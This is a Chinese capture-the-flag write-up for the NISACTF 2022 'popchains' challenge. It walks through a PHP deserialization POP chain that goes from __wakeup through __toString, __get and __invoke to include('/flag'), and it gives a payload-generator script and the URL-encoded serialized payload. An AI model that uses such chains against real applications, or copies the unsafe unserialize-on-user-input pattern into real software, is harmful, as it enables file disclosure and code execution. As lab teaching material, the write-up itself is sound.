记做一次[NISACTF 2022]popchains

首先打开靶场，可以看到如下代码

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

通过观察代码与题目名称，初步判断是要构造一个pop链，在 Try_Work_Hard 中发现了 include()，怀疑是要执行到这里，继续看其他的代码，在__invoke()中调用了append()

__invoke定义：__invoke() 是 PHP 中的一种特殊方法，用于在对象被调用时执行。当我们像调用一个函数一样调用一个对象时，如果这个对象定义了 __invoke() 方法，那么 PHP 就会自动调用这个方法。

此处应该是需要像调用方法一样调用Try_Work_Hard的对象，继续看，在 Make_a_Change 中发现了如下代码：

public function __get($key){
        $function = $this->effort;
        return $function();
    }

观察发现，若是将 Make_a_Change 中的effort设为一个Try_Work_Hard的对象，这样就能达到像调用方法一样调用Try_Work_Hard的对象，那__get()又应该怎么实现调用？

__get定义：__get 是 PHP 中的魔术方法之一，它用于在对象中访问不存在的或无法访问的属性时自动被调用。如果一个类中定义了__get()方法，那么当我们试图获取该类的一个不存在或无法访问的属性时，该方法会被自动调用，从而可以对该操作进行处理。

继续查看代码，找到如下代码

public function __toString(){
        return $this->string->page;
    }

此处中访问string的page属性，若是将string设为一个Try_Work_Hard的对象，在此处调用Try_Work_Hard的对象的page属性，而Try_Work_Hard中并没有page属性，是不是就可以在此处实现调用__get()

 

到这里，思路暂定为：先定义两个Road_is_Long的对象Road_is_Long1和Road_is_Long2，将Road_is_Long1的属性page设置为Road_is_Long2，在执行到如下代码时

if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page))

会将page当作字符串处理，而此时page已经被设置为Road_is_Long2，也是在此触发__toString()，将Road_is_Long2的string属性设置为Make_a_Change的对象Make_a_ChangeObject，此时去访问Make_a_ChangeObject的page属性，page属性不存在，触发__get()，再将Make_a_ChangeObject的effort设置为Try_Work_Hard的对象Try_Work_HardObject，Try_Work_Hard的var因为是protected，所以在类中设置默认值为 /flag

以下代码构造payload

<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="/flag";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
	$Road_is_Long1=new Road_is_Long();
	$Road_is_Long2=new Road_is_Long();
	$Try_Work_HardObject=new Try_Work_Hard();
	$Make_a_ChangeObject=new Make_a_Change();
	
	$Road_is_Long1->page=$Road_is_Long2;
	$Road_is_Long2->string=$Make_a_ChangeObject;
	$Make_a_ChangeObject->effort=$Try_Work_HardObject;
	
	$payload=serialize($Road_is_Long1);
	echo urlencode($payload);
	
?>

得到payload

O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3Bs%3A9%3A"index.php"%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A5%3A"%2Fflag"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

传入参数，得到结果